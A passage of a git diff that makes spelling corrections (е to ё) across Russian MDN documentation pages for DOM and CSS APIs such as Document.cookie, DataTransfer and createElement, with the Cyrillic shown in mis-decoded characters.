<li>Π§Π΅Ρ€Π΅Π· {{domxref ("HTMLElement.style")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π΅Π»ΠΎ с встроСнными стилями ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, &lt;div style="..."&gt;).</li>
@@ -47,9 +47,9 @@ translation_of: Web/API/CSSStyleDeclaration
<dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt>
<dd>УдаляСт свойство ΠΈΠ· Π±Π»ΠΎΠΊΠ° объявлСния CSS.</dd>
<dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt>
- <dd>Π˜Π·ΠΌΠ΅Π½ΡΠ΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство CSS ΠΈΠ»ΠΈ создаСт Π½ΠΎΠ²ΠΎΠ΅ свойство CSS Π² Π±Π»ΠΎΠΊΠ΅ объявлСния.</dd>
+ <dd>Π˜Π·ΠΌΠ΅Π½ΡΠ΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство CSS ΠΈΠ»ΠΈ создаёт Π½ΠΎΠ²ΠΎΠ΅ свойство CSS Π² Π±Π»ΠΎΠΊΠ΅ объявлСния.</dd>
<dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt>
- <dd>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Π΅Ρ€Π΅Π· getComputedStyle Π² Firefox. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства Π² Π²ΠΈΠ΄Π΅ {{ domxref ("CSSPrimitiveValue")}} ΠΈΠ»ΠΈ <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращСнных свойств.</a></dd>
+ <dd>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Π΅Ρ€Π΅Π· getComputedStyle Π² Firefox. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства Π² Π²ΠΈΠ΄Π΅ {{ domxref ("CSSPrimitiveValue")}} ΠΈΠ»ΠΈ <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращённых свойств.</a></dd>
</dl>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/datatransfer/index.html b/files/ru/web/api/datatransfer/index.html
index e5e07105d6..6c7fb043e9 100644
--- a/files/ru/web/api/datatransfer/index.html
+++ b/files/ru/web/api/datatransfer/index.html
@@ -103,9 +103,9 @@ translation_of: Web/API/DataTransfer
<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния:</p>
<ul>
- <li><strong>copy</strong>: Π² Π½ΠΎΠ²ΠΎΠΌ располоТСнии создаСтся копия исходного элСмСнта.</li>
+ <li><strong>copy</strong>: Π² Π½ΠΎΠ²ΠΎΠΌ располоТСнии создаётся копия исходного элСмСнта.</li>
<li><strong>move</strong>: элСмСнт пСрСмСщаСтся Π² Π½ΠΎΠ²ΠΎΠ΅ располоТСниС.</li>
- <li><strong>link</strong>: Π² Π½ΠΎΠ²ΠΎΠΌ располоТСнии создаСтся ссылка Π½Π° исходный элСмСнт.</li>
+ <li><strong>link</strong>: Π² Π½ΠΎΠ²ΠΎΠΌ располоТСнии создаётся ссылка Π½Π° исходный элСмСнт.</li>
<li><strong>none</strong>: элСмСнт Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π±Ρ€ΠΎΡˆΠ΅Π½.</li>
</ul>
@@ -119,7 +119,7 @@ translation_of: Web/API/DataTransfer
<ul>
<li><strong>copy</strong>: Копия рСсурса ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлана Π² Π½ΠΎΠ²ΠΎΠΌ мСстС.</li>
- <li><strong>move</strong>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² Π½ΠΎΠ²ΠΎΠ΅ мСсто.Β </li>
+ <li><strong>move</strong>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π½ΠΎΠ²ΠΎΠ΅ мСсто.Β </li>
<li><strong>link</strong>: A link may be established to the source at the new location.</li>
<li><strong>copyLink</strong>: A copy or link operation is permitted.</li>
<li><strong>copyMove</strong>: A copy or move operation is permitted.</li>
@@ -260,7 +260,7 @@ translation_of: Web/API/DataTransfer
<h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3>
-<p>УстанавливаСт ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для пСрСтаскивания Ссли Π½ΡƒΠΆΠ½ΠΎ. Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСно, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ создаСтся ΠΈΠ· пСрСтаскиваСмого ΡƒΠ·Π»Π°.</p>
+<p>УстанавливаСт ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для пСрСтаскивания Ссли Π½ΡƒΠΆΠ½ΠΎ. Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСно, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ создаётся ΠΈΠ· пСрСтаскиваСмого ΡƒΠ·Π»Π°.</p>
<p>Если ΡƒΠ·Π΅Π» являСтся HTML-элСмСнтом img, HTML-элСмСнтом canvas ΠΈΠ»ΠΈ XUL-элСмСнтом изобраТСния, Ρ‚ΠΎΠ³Π΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅ изобраТСния. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ, ΠΈ ΠΈΠ· этого Π±ΡƒΠ΄Π΅Ρ‚ создано пСрСтаскиваСмоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ null, любоС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ пСрСтаскиваСмоС очищаСтся ΠΈ вмСсто Π½Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html
index c4ff0f1248..b0a464ecf6 100644
--- a/files/ru/web/api/document/activeelement/index.html
+++ b/files/ru/web/api/document/activeelement/index.html
@@ -83,7 +83,7 @@ ID Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ элСмСнта: &lt;span id="output-element"&gt;&lt;/spa
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ ΠΊΠ°ΠΊ собствСнноС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅Β DOMΒ Π² Internet Explorer 4, это свойство Ρ‚Π°ΠΊΠΆΠ΅ поддСрТиваСтся Π² Opera ΠΈ Safari (Π² вСрсии 4).</p>
+<p>ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ ΠΊΠ°ΠΊ собствСнноС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅Β DOMΒ Π² Internet Explorer 4, это свойство Ρ‚Π°ΠΊΠΆΠ΅ поддСрТиваСтся Π² Opera ΠΈ Safari (Π² вСрсии 4).</p>
<h2 id="Specification" name="Specification">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html
index 302476d213..d010383f8e 100644
--- a/files/ru/web/api/document/alinkcolor/index.html
+++ b/files/ru/web/api/document/alinkcolor/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Document/alinkColor
---
<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ ссылки Π² Ρ‚Π΅Π»Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Бсылка Π°ΠΊΡ‚ΠΈΠ²Π½Π° Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ событиями mousedown ΠΈ mouseup.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ†Π²Π΅Ρ‚ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ ссылки Π² Ρ‚Π΅Π»Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Бсылка Π°ΠΊΡ‚ΠΈΠ²Π½Π° Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ событиями mousedown ΠΈ mouseup.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html
index 286bb779f8..94facee7e6 100644
--- a/files/ru/web/api/document/cookie/index.html
+++ b/files/ru/web/api/document/cookie/index.html
@@ -25,7 +25,7 @@ translation_of: Web/API/Document/cookie
<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ <code>newCookie</code> - строка Π² Π²ΠΈΠ΄Π΅ <code><em>key</em>=<em>value</em></code><em>. </em>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρƒ вас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ/ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ лишь ΠΎΠ΄Π½Ρƒ связку <code><em>key</em>=<em>value</em></code> Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот ΠΌΠ΅Ρ‚ΠΎΠ΄.Β  Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ <code>newCookie</code> - строка Π² Π²ΠΈΠ΄Π΅ <code><em>key</em>=<em>value</em></code><em>. </em>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρƒ вас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ/ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ лишь ΠΎΠ΄Π½Ρƒ связку <code><em>key</em>=<em>value</em></code> Π·Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот ΠΌΠ΅Ρ‚ΠΎΠ΄.Β  Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ:</p>
<ul>
<li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
@@ -155,7 +155,7 @@ if (document.cookie.split(';').filter((item) =&gt; item.trim().startsWith('reade
console.log('The cookie "reader" exists (ES6)')
}</code></pre>
-<h3 id="Example_6_ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ_Ρ‡Ρ‚ΠΎ_cookie_ΠΈΠΌΠ΅Π΅Ρ‚_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Example #6: ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ cookie ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
+<h3 id="Example_6_ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ_Ρ‡Ρ‚ΠΎ_cookie_ΠΈΠΌΠ΅Π΅Ρ‚_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Example #6: ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ cookie ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
<pre class="notranslate"><code>//ES5
diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html
index 97cbba7120..ff43048513 100644
--- a/files/ru/web/api/document/createattribute/index.html
+++ b/files/ru/web/api/document/createattribute/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Document/createAttribute
---
<div>{{ ApiRef("DOM") }}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Document.createAttribute()</strong></code> создаСт Π½ΠΎΠ²Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ.Β  Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡƒΠ·Π»Π° Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ {{domxref("Attr")}} интСрфСйс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ элСмСнту Ρ‚Π°ΠΊΠΈΠΌ способом.</span></p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Document.createAttribute()</strong></code> создаёт Π½ΠΎΠ²Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ.Β  Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡƒΠ·Π»Π° Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ {{domxref("Attr")}} интСрфСйс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ элСмСнту Ρ‚Π°ΠΊΠΈΠΌ способом.</span></p>
<div class="note">
<p>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, заданная Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅, прСобразуСтся Π² Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр.</p>
diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html
index adc966e765..f266afbed6 100644
--- a/files/ru/web/api/document/createdocumentfragment/index.html
+++ b/files/ru/web/api/document/createdocumentfragment/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Document/createDocumentFragment
---
<div>{{ApiRef("DOM")}}</div>
-<p>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ пустой {{domxref("DocumentFragment")}}.</p>
+<p>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ пустой {{domxref("DocumentFragment")}}.</p>
<h2 id="Syntax">Syntax</h2>
diff --git a/files/ru/web/api/document/createelement/index.html b/files/ru/web/api/document/createelement/index.html
index 7d2aab5f7a..f56c92272f 100644
--- a/files/ru/web/api/document/createelement/index.html
+++ b/files/ru/web/api/document/createelement/index.html
@@ -11,9 +11,9 @@ original_slug: DOM/document.createElement
<h3 id=".D0.9E.D0.B1.D1.89.D0.B0.D1.8F_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.9E.D0.B1.D1.89.D0.B0.D1.8F_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F">ΠžΠ±Ρ‰Π°Ρ информация</h3>
-<p>Π’ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… создаСт элСмСнт c Ρ‚Π΅ΠΌ Ρ‚Π΅Π³ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ ΡƒΠΊΠ°Π·Π°Π½ Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠ»ΠΈ <code>HTMLUnknownElement</code>, Ссли имя Ρ‚Π΅Π³Π° Π½Π΅ распознаётся.</p>
+<p>Π’ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… создаёт элСмСнт c Ρ‚Π΅ΠΌ Ρ‚Π΅Π³ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ ΡƒΠΊΠ°Π·Π°Π½ Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠ»ΠΈ <code>HTMLUnknownElement</code>, Ссли имя Ρ‚Π΅Π³Π° Π½Π΅ распознаётся.</p>
-<p>Π’ XUL-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… создаСт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ элСмСнт XUL.</p>
+<p>Π’ XUL-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… создаёт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ элСмСнт XUL.</p>
<p>Π’ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях создаёт элСмСнт с Π½ΡƒΠ»Π΅Π²Ρ‹ΠΌ <span id="result_box" lang="ru"><span class="hps"><em>NamespaceURI</em>.</span></span></p>
@@ -24,7 +24,7 @@ original_slug: DOM/document.createElement
<ul>
<li><code>element</code> β€” созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="../Web/API/Element">элСмСнта</a>.</li>
- <li><code>tagName</code> β€” строка, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ элСмСнт ΠΊΠ°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ создан. <a href="ru/DOM/element.nodeName">nodeName</a> создаСтся ΠΈ инициализируСтся со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>tagName</code>.</li>
+ <li><code>tagName</code> β€” строка, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ элСмСнт ΠΊΠ°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ создан. <a href="ru/DOM/element.nodeName">nodeName</a> создаётся ΠΈ инициализируСтся со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>tagName</code>.</li>
<li>
<p><code>options</code> β€” Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>ElementCreationOptions</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΠΏΠΎΠ»Π΅Β <code>is</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΈΠΌΡΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, созданного с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>customElements.define()</code>Β (см. <a href="/ru/docs/Web/Web_Components">Π’Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹</a>).</p>
</li>
@@ -32,7 +32,7 @@ original_slug: DOM/document.createElement
<h3 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт <code>&lt;div&gt;</code> ΠΈ вставляСт Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ элСмСнтом с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>org_div1</code>:</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт <code>&lt;div&gt;</code> ΠΈ вставляСт Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ элСмСнтом с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>org_div1</code>:</p>
<pre class="brush: js"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
@@ -51,7 +51,7 @@ original_slug: DOM/document.createElement
function addElement() {
- // Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт div
+ // Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт div
// ΠΈ добавляСм Π² Π½Π΅Π³ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°
var newDiv = document.createElement("div");
@@ -70,7 +70,7 @@ original_slug: DOM/document.createElement
<p>Если ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ со значСниями ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΡƒΠ·Π»ΠΎΠ² ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΈΡ… ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ автоматичСски ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ элСмСнту.</p>
